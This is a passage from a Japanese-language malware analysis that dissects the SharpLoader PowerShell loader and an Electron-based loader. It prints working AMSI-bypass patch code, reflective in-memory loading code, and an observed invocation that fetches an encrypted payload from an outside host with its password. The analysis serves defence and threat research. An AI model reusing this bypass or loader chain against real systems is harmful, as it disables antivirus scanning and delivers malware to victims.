は静的解析上、次の特徴を示します。",[1420,1927,1928,1936],{},[1423,1929,1930],{},[1426,1931,1932,1934],{},[1429,1933,1431],{},[1429,1935,1434],{},[1436,1937,1938,1947,1956,1966,1975,1985,1995,2004],{},[1426,1939,1940,1944],{},[1441,1941,1942],{},[567,1943,1445],{},[1441,1945,1946],{},"DOSバッチファイル",[1426,1948,1949,1953],{},[1441,1950,1951],{},[567,1952,1455],{},[1441,1954,1955],{},"スクリプトベース（コンパイル済みバイナリではない）",[1426,1957,1958,1963],{},[1441,1959,1960],{},[567,1961,1962],{},"ファイルサイズ:",[1441,1964,1965],{},"27.79 KB（28454バイト）",[1426,1967,1968,1972],{},[1441,1969,1970],{},[567,1971,1475],{},[1441,1973,1974],{},"通常（プレーンASCIIテキスト）",[1426,1976,1977,1982],{},[1441,1978,1979],{},[567,1980,1981],{},"マジック:",[1441,1983,1984],{},"DOSバッチファイル、ASCIIテキスト",[1426,1986,1987,1992],{},[1441,1988,1989],{},[567,1990,1991],{},"電子署名:",[1441,1993,1994],{},"検出されず",[1426,1996,1997,2001],{},[1441,1998,1999],{},[567,2000,1495],{},[1441,2002,2003],{},"26 / 61（分析時点）",[1426,2005,2006,2011],{},[1441,2007,2008],{},[567,2009,2010],{},"脅威ラベル:",[1441,2012,2013,2016,2017,2016,2020,2016,2022],{},[578,2014,2015],{},"trojan",", ",[578,2018,2019],{},"downloader",[578,2021,1703],{},[578,2023,2024],{},"agentb",[526,2026,2027,2028,2031],{},"単純な ",[578,2029,2030],{},".bat"," ファイルでありながら、このスクリプトは多くの静的検出をすり抜け、難読化・暗号化されたペイロードのダウンロードと実行に、PowerShellのような環境寄生（living-off-the-land）の手法を多用しています。",[741,2033,2035,2036,2039],{"id":2034},"_42-amsiバイパスの手法クラス-gofor4msi","4.2 AMSIバイパスの手法（クラス: ",[578,2037,2038],{},"gofor4msi","）",[526,2041,747],{},[526,2043,2044],{},"SharpLoaderが最初に回避する防御メカニズムの1つがAMSI（Anti-Malware Scan Interface）です。PowerShellやWindows Script Hostといったスクリプトエンジンに統合され、不審な振る舞いに対するリアルタイムのコンテンツスキャンを提供するMicrosoftの機能です。マルウェアの作者は、エンドポイント保護製品による検出を避けるためにAMSIの回避をしばしば試みます。",[526,2046,2047,2048,2051,2052,2055,2056,2059,2060,2063,2064,2067],{},"SharpLoaderでは、AMSIバイパスは ",[578,2049,2050],{},"amsi.dll"," 内の ",[578,2053,2054],{},"AmsiScanBuffer"," 関数に対する ",[567,2057,2058],{},"メモリ上での直接パッチ"," によって実装されています。この関数は本来、スクリプトの内容を解析し、それが不審（",[578,2061,2062],{},"AMSI_RESULT_DETECTED","）か安全（",[578,2065,2066],{},"AMSI_RESULT_CLEAN","）かを示す結果コードを返す役割を担います。",[526,2069,2070],{},"該当するメモリパッチのコードは次のとおりです。",[616,2072,2076],{"className":2073,"code":2074,"language":2075,"meta":530,"style":530},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[578,2077,2078,2083,2088,2094],{"__ignoreMap":530},[1707,2079,2080],{"class":1709,"line":1710},[1707,2081,2082],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1707,2084,2085],{"class":1709,"line":531},[1707,2086,2087],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1707,2089,2091],{"class":1709,"line":2090},3,[1707,2092,2093],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1707,2095,2097],{"class":1709,"line":2096},4,[1707,2098,2099],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[526,2101,2102],{},"この一連の処理は次のステップを実行します。",[2104,2105,2106,2116,2128,2138],"ol",{},[634,2107,2108,2111,2112,2115],{},[578,2109,2110],{},"LoadLibrary(\"amsi.dll\")"," を使って ",[567,2113,2114],{},"AMSI DLLをプロセスに読み込む","。",[634,2117,2118,2121,2122,2124,2125,2115],{},[578,2119,2120],{},"GetProcAddress()"," を介して ",[578,2123,2054],{}," 関数の ",[567,2126,2127],{},"メモリアドレスを解決する",[634,2129,2130,2133,2134,2137],{},[578,2131,2132],{},"VirtualProtect()"," を使ってそのアドレスの ",[567,2135,2136],{},"メモリ保護属性を変更"," し、書き込み可能にする。",[634,2139,2140,2143,2144,2147],{},[578,2141,2142],{},"Marshal.Copy()"," で ",[567,2145,2146],{},"関数の先頭を上書き"," し、小さなシェルコードパッチを当てる。",[526,2149,2150],{},"64ビットシステムに適用されるパッチは次のとおりです。",[616,2152,2154],{"className":2073,"code":2153,"language":2075,"meta":530,"style":530},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[578,2155,2156],{"__ignoreMap":530},[1707,2157,2158],{"class":1709,"line":1710},[1707,2159,2153],{},[526,2161,2162],{},"これは次の命令に対応します。",[631,2164,2165,2175],{},[634,2166,2167,2170,2171,2174],{},[578,2168,2169],{},"mov eax, 0x80070057"," → 戻り値コードをWindowsのエラーコード ",[578,2172,2173],{},"E_INVALIDARG"," に設定する",[634,2176,2177,2180],{},[578,2178,2179],{},"ret"," → 関数から直ちに復帰する",[526,2182,2183,2184,2186],{},"これにより ",[578,2185,2054],{}," は事実上、静かに失敗して非検出の結果を返すようになり、AMSIのチェックが無力化されます。これでマルウェアは、本来ならウイルス対策のアラートを引き起こすスクリプトや.NETコードを実行できます。",[526,2188,2189],{},"32ビットシステムで実行された場合は、別のパッチが適用されます。",[616,2191,2193],{"className":2073,"code":2192,"language":2075,"meta":530,"style":530},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[578,2194,2195],{"__ignoreMap":530},[1707,2196,2197],{"class":1709,"line":1710},[1707,2198,2192],{},[526,2200,2201],{},"狙いは同じく「クリーン」な結果を強制することですが、x86の呼び出し規約に合わせてあります。",[526,2203,2204,647,2207,647,2210,2213],{},[578,2205,2206],{},"LoadLibrary",[578,2208,2209],{},"GetProcAddress",[578,2211,2212],{},"VirtualProtect"," といった生のP/Invoke呼び出しを使うことで、このパッチ処理は動的に、しかもEDRツールに監視されうる高レベルAPIを一切呼び出さずに実行できます。この手法はコンパクトで効果的、しかもフォレンジック上の痕跡をほとんど残しません。",[526,2215,2216,2217,2220],{},"まとめると、このAMSIバイパスの手法は ",[567,2218,2219],{},"ウイルス対策インターフェイスに対する低レベルかつ直接的なメモリ攻撃"," であり、実行時にミリ秒単位で完了します。現代のエンドポイント防御において、振る舞い監視とメモリ検査が不可欠である理由を示す有力な例です。",[741,2222,2224],{"id":2223},"_43-第2段階ペイロードの取り扱い","4.3 第2段階ペイロードの取り扱い",[526,2226,747],{},[526,2228,2229,2230,2233],{},"AMSIバイパスが完了すると、ローダーは第2段階のペイロードの取得と準備に進みます。このペイロードはローダー自体に埋め込まれてはおらず、",[578,2231,2232],{},"$location"," パラメーターによる呼び出し方に応じて、リモートサーバーから取得されるか、ディスクから読み込まれます。",[526,2235,2236,2237,2240,2241,2111,2244,2247,2248,2251,2252,2255],{},"指定された場所が ",[578,2238,2239],{},"http"," で始まる場合はURLとして解釈され、ローダーは ",[578,2242,2243],{},"Get_Stage2()",[578,2245,2246],{},"HttpWebRequest"," 経由でペイロードをダウンロードします。ローカルパスの場合は ",[578,2249,2250],{},"Get_Stage2disk()"," がファイルシステムから直接内容を読み取ります。いずれの場合も、想定されるファイルの内容は ",[567,2253,2254],{},"Base64エンコード、GZip圧縮、AES暗号化"," が施されたブロブです。",[526,2257,2258,2259,2262],{},"ローダーはその後、",[567,2260,2261],{},"4段階のデコードと復号のパイプライン"," を完全にメモリ上で実行します。",[2104,2264,2265,2271,2281,2291],{},[634,2266,2267,2270],{},[567,2268,2269],{},"Base64デコード",": エンコードされた文字列を生のバイト列に変換します。このステップは、実際のバイナリ内容を静的検査ツールから隠し、単純なパターンマッチを防ぐためのものです。",[634,2272,2273,2276,2277,2280],{},[567,2274,2275],{},"GZip展開",": デコードされたバイト列を ",[578,2278,2279],{},"GZipStream"," に渡して展開します。圧縮によりファイルサイズが小さくなり、難読化の層がもう1つ加わります。",[634,2282,2283,2286,2287,2290],{},[567,2284,2285],{},"AES復号",": 圧縮されたバイト列を、CBCモードのAES（Rijndael）で復号します。鍵は実行時に、ユーザーが指定したパスワードからSHA-256ハッシュとPBKDF2（",[578,2288,2289],{},"Rfc2898DeriveBytes","）、および固定のソルトを組み合わせて導出されます。",[634,2292,2293,2296],{},[567,2294,2295],{},"ソルトの除去",": 復号結果には固定長のソルトの接頭辞（4バイト）がまだ含まれています。これを手動で取り除くことで、有効な.NETアセンブリを表すクリーンなバイナリブロブが得られます。",[526,2298,2299],{},"復号パイプラインは次のように実行されます。",[616,2301,2303],{"className":2073,"code":2302,"language":2075,"meta":530,"style":530},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[578,2304,2305,2310],{"__ignoreMap":530},[1707,2306,2307],{"class":1709,"line":1710},[1707,2308,2309],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1707,2311,2312],{"class":1709,"line":531},[1707,2313,2314],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[526,2316,2317,2318,2321],{},"ここで ",[578,2319,2320],{},"AES_Decrypt()"," は、Rijndaelアルゴリズムをラップしたカスタム関数で、いずれもパスワードから導出された256ビットの鍵と128ビットのIV（初期化ベクトル）で構成されています。",[526,2323,2324],{},[567,2325,2326],{},"設計上の重要な観察点:",[631,2328,2329,2332,2335],{},[634,2330,2331],{},"PBKDF2と組み合わせたAES-CBCの採用により、パスワードのブルートフォースは容易ではありません。",[634,2333,2334],{},"復号がメモリ上で行われるため、中間結果がディスクに書き込まれることはなく、フォレンジック上の痕跡が減ります。",[634,2336,2337],{},"誤ったパスワードが指定された場合、復号は静かに失敗するか不正なデータを生成し、実行の失敗や追跡困難な例外につながることがあります。",[526,2339,2340],{},"まとめると、この多段のペイロード処理手法は、シグネチャベースとヒューリスティックベースの双方の静的検出に対するハードルを大きく引き上げます。実際に実行するか、ローダーの振る舞いを深く検査しない限り、防御側がパスワードと正確なデコードロジックを知らずに埋め込みペイロードを解明できる見込みはほとんどありません。",[741,2342,2344],{"id":2343},"_44-動的なアセンブリの読み込み","4.4 動的なアセンブリの読み込み",[526,2346,747],{},[526,2348,2349],{},"第2段階のペイロードの復号に成功すると、得られたバイト配列は有効な.NETアセンブリになります。このアセンブリをディスクに書き出す（ウイルス対策やEDRにとって一般的な指標になります）のではなく、SharpLoaderはリフレクションを使ってメモリ上で直接実行します。",[616,2351,2353],{"className":2073,"code":2352,"language":2075,"meta":530,"style":530},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[578,2354,2355,2360],{"__ignoreMap":530},[1707,2356,2357],{"class":1709,"line":1710},[1707,2358,2359],{},"Assembly a = Assembly.Load(bin);\n",[1707,2361,2362],{"class":1709,"line":531},[1707,2363,2364],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[526,2366,2367,2368,2371],{},"この手法は ",[567,2369,2370],{},"ファイルレス実行"," と呼ばれます。次の理由から、きわめて回避性が高いものです。",[631,2373,2374,2377,2380],{},[634,2375,2376],{},"ディスクに触れないため、ファイルベースのIOC（侵害指標）が残らない",[634,2378,2379],{},"バイナリがディスクに保存されないため、従来のフォレンジック取得が難しくなる",[634,2381,2382],{},"AVエンジンはファイルのスキャンに依存することが多いため、静的なシグネチャ検出を回避できる",[526,2384,2385,1294,2388,2391],{},[578,2386,2387],{},"EntryPoint",[578,2389,2390],{},"static"," でない場合に備えて、ローダーにはフォールバックのロジックが含まれています。",[616,2393,2395],{"className":2073,"code":2394,"language":2075,"meta":530,"style":530},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[578,2396,2397,2402,2407,2412,2417,2423],{"__ignoreMap":530},[1707,2398,2399],{"class":1709,"line":1710},[1707,2400,2401],{},"MethodInfo method = a.EntryPoint;\n",[1707,2403,2404],{"class":1709,"line":531},[1707,2405,2406],{},"if (method != null)\n",[1707,2408,2409],{"class":1709,"line":2090},[1707,2410,2411],{},"{\n",[1707,2413,2414],{"class":1709,"line":2096},[1707,2415,2416],{},"    object o = a.CreateInstance(method.Name);\n",[1707,2418,2420],{"class":1709,"line":2419},5,[1707,2421,2422],{},"    method.Invoke(o, null);\n",[1707,2424,2426],{"class":1709,"line":2425},6,[1707,2427,2428],{},"}\n",[526,2430,2431,2432,2435],{},"これにより、実行にインスタンス化されたオブジェクトを必要とするアセンブリ（クラスインスタンス内の ",[578,2433,2434],{},"public int Main()"," など）との互換性が確保されます。コードは動的にクラスのインスタンスを作成し、そのうえでエントリポイントのメソッドを呼び出します。",[526,2437,2438],{},"AMSIバイパスとメモリ内復号と組み合わさることで、このメカニズムは最終ペイロードをステルス性の高い完全なファイルレス方式で実行に至らせます。現代の回避型マルウェアの典型的な特徴です。",[741,2440,2442],{"id":2441},"_45-コマンドラインパラメーターと柔軟性","4.5 コマンドラインパラメーターと柔軟性",[526,2444,747],{},[526,2446,2447,2448,2450],{},"PowerShell関数 ",[578,2449,1912],{}," は、任意の.NETペイロードのための柔軟なラッパーとして設計されています。ペイロードの場所と引数の両方を動的に受け取れるため、1つのローダーインスタンスを複数のオペレーションやキャンペーンで再利用できます。",[526,2452,2453],{},[567,2454,2455],{},"サポートされるパラメーター:",[631,2457,2458,2464,2470,2490],{},[634,2459,2460,2463],{},[578,2461,2462],{},"-location","（必須）: 第2段階の暗号化ペイロードのURLまたはローカルファイルパスを指定します。",[634,2465,2466,2469],{},[578,2467,2468],{},"-password","（必須）: AESの復号鍵の導出に使われます。",[634,2471,2472,647,2475,647,2478,2481,2482,2485,2486,2489],{},[578,2473,2474],{},"-argument",[578,2476,2477],{},"-argument2",[578,2479,2480],{},"-argument3","（任意）: リフレクション経由で ",[578,2483,2484],{},".NET"," アセンブリの ",[578,2487,2488],{},"Main()"," メソッドへそのまま転送されます。",[634,2491,2492,2495],{},[578,2493,2494],{},"-noArgs",": 第2段階のペイロードにパラメーターを渡さずに実行します。",[526,2497,2498],{},"内部では、引数は次のように収集されて転送されます。",[616,2500,2502],{"className":1701,"code":2501,"language":1703,"meta":530,"style":530},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[578,2503,2504,2509],{"__ignoreMap":530},[1707,2505,2506],{"class":1709,"line":1710},[1707,2507,2508],{},"object[] cmd = args.Skip(2).ToArray();\n",[1707,2510,2511],{"class":1709,"line":531},[1707,2512,2513],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[526,2515,2516],{},"つまり、.NETペイロード側には次のようなシグネチャが期待されるということです。",[616,2518,2520],{"className":2073,"code":2519,"language":2075,"meta":530,"style":530},"static void Main(string[] args)\n",[578,2521,2522],{"__ignoreMap":530},[1707,2523,2524],{"class":1709,"line":1710},[1707,2525,2519],{},[526,2527,2528,2529,2531],{},"あるいはフォールバックのロジックによって、引数なしの ",[578,2530,2488],{}," に穏当に戻ります。この振る舞いにより、レッドチームやマルウェアの作者は、入力に応じて異なる動作を行う多目的な第2段階を作成できます。たとえば、インプラントの起動、システム情報の収集、C2通信の開始などです。",[526,2533,2534],{},"こうしたモジュール性と設定可能性は高度なマルウェアフレームワークの中核的な特徴であり、スクリプトベースのローダーが下流のペイロードにとってきわめて適応性の高い実行環境として振る舞えることを示しています。",[741,2536,2538],{"id":2537},"_46-実際の使用例","4.6 実際の使用例",[526,2540,747],{},[526,2542,2543],{},"SharpLoaderが実際のキャンペーンでどう実行されたかを示すため、現実に観測された次の呼び出しを見てみましょう。",[616,2545,2547],{"className":1701,"code":2546,"language":1703,"meta":530,"style":530},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[578,2548,2549],{"__ignoreMap":530},[1707,2550,2551],{"class":1709,"line":1710},[1707,2552,2546],{},[526,2554,2555],{},"この例は、SharpLoaderの典型的なユースケースを浮き彫りにします。",[631,2557,2558,2572,2583,2593],{},[634,2559,2560,2563,2564,2567,2568,2571],{},[567,2561,2562],{},"場所の引数",": このURLは、隠蔽された第2段階ペイロードである ",[578,2565,2566],{},"calc.enc"," をホストするリモートサーバーを指しています。エンドポイントは、HTTPS証明書の検証によく使われる正規らしい見た目の ",[578,2569,2570],{},".well-known"," ディレクトリ配下に置かれており、URLを正規のWebトラフィックに紛れ込ませる助けになっています。",[634,2573,2574,1002,2577,1566,2579,2582],{},[567,2575,2576],{},"ペイロードの特性",[578,2578,2566],{},[567,2580,2581],{},"三重に難読化されたファイル"," です。Base64エンコード、GZip圧縮、AES暗号化が施されています。この難読化パイプラインにより、メモリ上で完全に実行・復号されない限り、ペイロードはほとんどの検出メカニズムにとって不透明なままです。",[634,2584,2585,2588,2589,2592],{},[567,2586,2587],{},"パスワードの引数",": 文字列 ",[578,2590,2591],{},"UwUFufu1"," は、実行時にSHA-256とPBKDF2を介してAES鍵を導出するために使われます。このパスワードがなければペイロードは復号できず、文脈のないオフライン解析はほぼ不可能になります。",[634,2594,2595,1002,2598,2600],{},[567,2596,2597],{},"追加引数なし",[578,2599,2494],{}," スイッチは、復号された.NETアセンブリにコマンドライン引数を一切渡さないことを示し、既定の実行パスを起動させます。",[526,2602,2603,2604,593],{},"このステルス性の高い呼び出しチェーンは、SharpLoaderの中核的な目的を凝縮しています。最大限の難読化と回避を伴うシンプルなPowerShell構文による、",[567,2605,2606],{},"ファイルレスで適応的、かつ安全なペイロード配信",[741,2608,2610],{"id":2609},"_47-まとめ","4.7 まとめ",[526,2612,747],{},[526,2614,2615,2617],{},[578,2616,1912],{}," という構成は、OS標準のコンポーネント、リフレクション、暗号技術を活用してほぼ完全にメモリ上で動作する、きわめて洗練された回避型のマルウェアステージング手法の実例です。",[526,2619,2620],{},[567,2621,2622],{},"主なポイント:",[631,2624,2625,2633,2639,2645],{},[634,2626,2627,1002,2630,2632],{},[567,2628,2629],{},"AMSIのバイパス",[578,2631,2054],{}," をメモリ上で直接パッチすることで、検出可能なAPIを呼び出すことなくウイルス対策の検査を無効化します。",[634,2634,2635,2638],{},[567,2636,2637],{},"安全なペイロードの取り扱い",": 暗号化・圧縮された第2段階ペイロードを取得することで機密性を確保し、回避の層を何重にも重ねます。",[634,2640,2641,2644],{},[567,2642,2643],{},"メモリ上だけの実行",": 復号されたペイロードがディスクに書き込まれることはなく、従来のファイルベースのスキャナーによる検出はほぼ不可能になります。",[634,2646,2647,2650],{},[567,2648,2649],{},"モジュール式で再利用可能なアーキテクチャ",": PowerShellのパラメーターを通じて、SharpLoaderはペイロードや実行時の振る舞いを変えながらキャンペーンをまたいで柔軟に再利用できます。",[557,2652,2654,2655,2657],{"id":2653},"_5-ディープダイブ-mainexe-electronベースのマルウェアローダー","5. ディープダイブ: ",[578,2656,606],{}," – Electronベースのマルウェアローダー",[526,2659,562],{},[526,2661,2662,2663,2665,2666,2669,2670,2672,2673,2675],{},"リバースエンジニアリングの過程で、Microsoft Defender for Endpointが検出した ",[578,2664,606],{}," が通常のバイナリではなく ",[567,2667,2668],{},"Electronベースのマルウェアローダー"," であることが明らかになりました。これは ",[578,2671,1846],{}," というアーカイブに格納された状態で配信され、",[578,2674,602],{}," が実行時にダウンロードして展開していました。展開後の構造と内容は、典型的なElectronアプリケーションによく似ていました。",[741,2677,2679],{"id":2678},"_51-electron構造の識別","5.1 Electron構造の識別",[526,2681,747],{},[526,2683,2684],{},"展開されたフォルダーには、次のようなファイルが含まれていました。",[631,2686,2687,2698,2706,2712],{},[634,2688,2689,647,2692,647,2695],{},[578,2690,2691],{},"chrome_100_percent.pak",[578,2693,2694],{},"v8_context_snapshot.bin",[578,2696,2697],{},"d3dcompiler_47.dll",[634,2699,2700,585,2703],{},[578,2701,2702],{},"LICENSES.chromium",[578,2704,2705],{},"LICENSES.electron",[634,2707,2708,2709,2711],{},"大きな ",[578,2710,606],{}," バイナリ（~150 MB）",[634,2713,2714,2716,2717,2720,2721,2723],{},[578,2715,1076],{}," と補助バイナリ ",[578,2718,2719],{},"elevate.exe"," を含む ",[578,2722,1856],{}," フォルダー",[526,2725,2726],{},[775,2727],{"alt":2728,"src":2729},"デスクトップアプリのパッケージ済みWindows 64ビット版","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[526,2731,2732,2733,2735],{},"いずれも、ChromiumとNode.jsを使ってJavaScriptベースのデスクトップアプリケーションをパッケージするElectronアプリの強い指標です。特権昇格によく使われる署名済みMicrosoftバイナリ ",[578,2734,2719],{}," の存在は、さらに疑いを強めました。昇格した権限で子プロセスを起動するために悪用されうるためです。",[741,2737,2739],{"id":2738},"_52-展開と静的解析ディープダイブ","5.2 展開と静的解析（ディープダイブ）",[526,2741,747],{},[526,2743,2744,2746,2747,2749,2750,2752,2753,2755,2756,2759],{},[578,2745,606],{}," を実行する代わりに、動作を一切発火させないよう静的解析のアプローチを選びました。",[578,2748,606],{}," がElectronで作られているという当初の疑いは、",[578,2751,1856],{}," ディレクトリ内に ",[578,2754,1076],{}," ファイルを見つけたことで裏付けられました。Electronアプリでは、このアーカイブがJavaScriptファイル、設定（",[578,2757,2758],{},"package.json","）、アセットといったアプリケーションの中核ロジックをすべて含み、性能と難読化を目的とした独自形式でまとめられています。",[526,2761,2762,2765,2766,2769],{},[578,2763,2764],{},".asar"," アーカイブは本質的に、",[578,2767,2768],{},".zip"," に似た読み取り専用の高性能なコンテナーですが、Electronのランタイム向けに最適化されています。暗号化されてはいないものの、コードへのアクセスを見えにくくするため、展開しない限り静的解析はより難しくなります。",[526,2771,2772,2773,2776],{},"展開には、npmで提供されている公式の ",[578,2774,2775],{},"asar"," ツールを使いました。手順は次のとおりです。",[616,2778,2782],{"className":2779,"code":2780,"language":2781,"meta":530,"style":530},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[578,2783,2784,2801],{"__ignoreMap":530},[1707,2785,2786,2790,2794,2798],{"class":1709,"line":1710},[1707,2787,2789],{"class":2788},"sScJk","npm",[1707,2791,2793],{"class":2792},"sZZnC"," install",[1707,2795,2797],{"class":2796},"sj4cs"," -g",[1707,2799,2800],{"class":2792}," asar\n",[1707,2802,2803,2805,2808,2811],{"class":1709,"line":531},[1707,2804,2775],{"class":2788},[1707,2806,2807],{"class":2792}," extract",[1707,2809,2810],{"class":2792}," app.asar",[1707,2812,2813],{"class":2792}," extracted_app\n",[526,2815,2816,2817,2820],{},"上記のコマンドを実行すると、内容が作業フォルダー（",[578,2818,2819],{},"extracted_app/","）に展開され、実際のJavaScriptアプリケーションコードが現れました。そこには次のものが含まれていました。",[631,2822,2823,2844,2852],{},[634,2824,2825,647,2828,647,2831,2834,2835,2837,2838,2840,2841,2843],{},[578,2826,2827],{},"jscryter.js",[578,2829,2830],{},"input.js",[578,2832,2833],{},"obf.js",": これらのスクリプトがマルウェアのロジックを構成します。",[578,2836,2827],{}," はペイロード配信を統括しているとみられ、",[578,2839,2830],{}," は設定定数やコマンドロジックを定義し、",[578,2842,2833],{}," は中核のペイロードロジックを含むとみられる強く難読化されたスクリプトです。",[634,2845,2846,647,2848,2851],{},[578,2847,2758],{},[578,2849,2850],{},"package-lock.json",": ランタイム環境を定義します",[634,2853,2854,1002,2857,647,2860,647,2863,2866],{},[578,2855,2856],{},"node_modules/",[578,2858,2859],{},"axios",[578,2861,2862],{},"adm-zip",[578,2864,2865],{},"child_process"," などの依存関係をすべて含みます",[526,2868,2869,2870,1294,2872,2874],{},"展開された内容により、実行することなくマルウェアのロジックを完全に見通せるようになりました。これは安全なリバースエンジニアリングに不可欠でした。この段階で、",[578,2871,606],{},[578,2873,1076],{}," 内に隠された悪意あるスクリプトのランタイムラッパーにすぎないことが確認できました。",[741,2876,2878],{"id":2877},"_53-静的解析で明らかになったこと","5.3. 静的解析で明らかになったこと",[526,2880,747],{},[526,2882,2883],{},"コードを手作業で精査した結果、マルウェアのロジックが完全にJavaScriptベースであり、Electronランタイム内で実行されることを確認しました。スクリプトは次の動作を行うよう設計されていました。",[631,2885,2886,2893,2898,2901],{},[634,2887,2888,2889,2892],{},"フォールバック用のURL群から暗号化ペイロード（",[578,2890,2891],{},"pyth.zip","）をダウンロードする",[634,2894,2895,2897],{},[578,2896,2862],{}," を使ってアーカイブを展開する",[634,2899,2900],{},"文字列置換を行い、特定の認証情報やウォレットアドレスを埋め込む",[634,2902,2903,2904,2906,2907,585,2910,2912],{},"生成されたPythonファイル（",[578,2905,613],{},"）を ",[578,2908,2909],{},"child_process.exec()",[578,2911,580],{}," 経由で起動する",[526,2914,2915,2916,2921],{},"決定的だったのは、ローダーが ",[567,2917,2918,2920],{},[578,2919,602],{}," をユーザーのAppDataディレクトリにコピーする"," ロジックも備えていた点です。まだ存在しない場合にコピーすることで、永続化を強化し感染ループを維持していました。",[557,2923,2925,2926,2928],{"id":2924},"_6-ディープダイブ-inputjs-暗号化されたjavascriptペイロードローダー","6. ディープダイブ: ",[578,2927,2830],{}," – 暗号化されたJavaScriptペイロードローダー",[526,2930,562],{},[526,2932,2933,2935],{},[578,2934,2830],{}," は、分析対象のマルウェアチェーンにおける重要なコンポーネントであり、暗号化されたJavaScriptペイロードの復号と実行のハブとして機能します。このスクリプトは中核機能を強固な暗号化の層の背後に隠し、実行時にのみその振る舞いを明かします。",[741,2937,2939],{"id":2938},"_61-暗号化と復号のしくみ","6.1 暗号化と復号のしくみ",[526,2941,747],{},[526,2943,2944,2945,2947],{},"一見すると、",[578,2946,2830],{}," には読めるコードがほとんどありません。しかしその主目的は、スクリプト自身の中に格納された大きな難読化済みJavaScriptブロブを復号して実行することにあります。",[889,2949,2951],{"id":2950},"_611-復号のロジック","6.1.1 復号のロジック",[526,2953,895],{},[526,2955,2956,2957,2960],{},"このスクリプトは、4つのパラメーターを受け取る ",[578,2958,2959],{},"decrypt()"," 関数を定義しています。",[631,2962,2963,2969,2975,2981],{},[634,2964,2965,2968],{},[578,2966,2967],{},"encdata",": 暗号化されたBase64エンコードのデータ",[634,2970,2971,2974],{},[578,2972,2973],{},"masterkey",": 平文のパスフレーズ",[634,2976,2977,2980],{},[578,2978,2979],{},"salt",": 暗号用のソルト（Base64）",[634,2982,2983,2986],{},[578,2984,2985],{},"iv",": AES復号の初期化ベクトル（Base64）",[526,2988,2989,2990,2993],{},"復号処理はNode.js組み込みの ",[578,2991,2992],{},"crypto"," モジュールを使って実装されており、次のように進みます。",[2104,2995,2996,3107,3220],{},[634,2997,2998,3001,3002,3081],{},[567,2999,3000],{},"鍵の導出:","\nスクリプトはPBKDF2（Password-Based Key Derivation Function 2）を使って256ビットの共通鍵を導出します。",[616,3003,3007],{"className":3004,"code":3005,"language":3006,"meta":530,"style":530},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[578,3008,3009,3031,3036,3053,3061,3068,3075],{"__ignoreMap":530},[1707,3010,3011,3015,3018,3021,3025,3028],{"class":1709,"line":1710},[1707,3012,3014],{"class":3013},"szBVR","const",[1707,3016,3017],{"class":2796}," key",[1707,3019,3020],{"class":3013}," =",[1707,3022,3024],{"class":3023},"sVt8B"," crypto.",[1707,3026,3027],{"class":2788},"pbkdf2Sync",[1707,3029,3030],{"class":3023},"(\n",[1707,3032,3033],{"class":1709,"line":531},[1707,3034,3035],{"class":3023},"  masterkey,\n",[1707,3037,3038,3041,3044,3047,3050],{"class":1709,"line":2090},[1707,3039,3040],{"class":3023},"  Buffer.",[1707,3042,3043],{"class":2788},"from",[1707,3045,3046],{"class":3023},"(salt, ",[1707,3048,3049],{"class":2792},"\"base64\"",[1707,3051,3052],{"class":3023},"),\n",[1707,3054,3055,3058],{"class":1709,"line":2096},[1707,3056,3057],{"class":2796},"  100000",[1707,3059,3060],{"class":3023},",\n",[1707,3062,3063,3066],{"class":1709,"line":2419},[1707,3064,3065],{"class":2796},"  32",[1707,3067,3060],{"class":3023},[1707,3069,3070,3073],{"class":1709,"line":2425},[1707,3071,3072],{"class":2792},"  \"sha512\"",[1707,3074,3060],{"class":3023},[1707,3076,3078],{"class":1709,"line":3077},7,[1707,3079,3080],{"class":3023},");\n",[631,3082,3083,3089,3095,3101],{},[634,3084,3085,3088],{},[567,3086,3087],{},"ハッシュ関数:"," SHA-512",[634,3090,3091,3094],{},[567,3092,3093],{},"反復回数:"," 100,000",[634,3096,3097,3100],{},[567,3098,3099],{},"鍵長:"," 32バイト（256ビット）",[634,3102,3103,3106],{},[567,3104,3105],{},"ソルト:"," Base64デコードされた入力として与えられる",[634,3108,3109,3112,3113,3163,3165,3166],{},[567,3110,3111],{},"AES-256-CBC復号:","\n導出された鍵を使ってAESのdecipherオブジェクトを生成します。",[616,3114,3116],{"className":3004,"code":3115,"language":3006,"meta":530,"style":530},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, 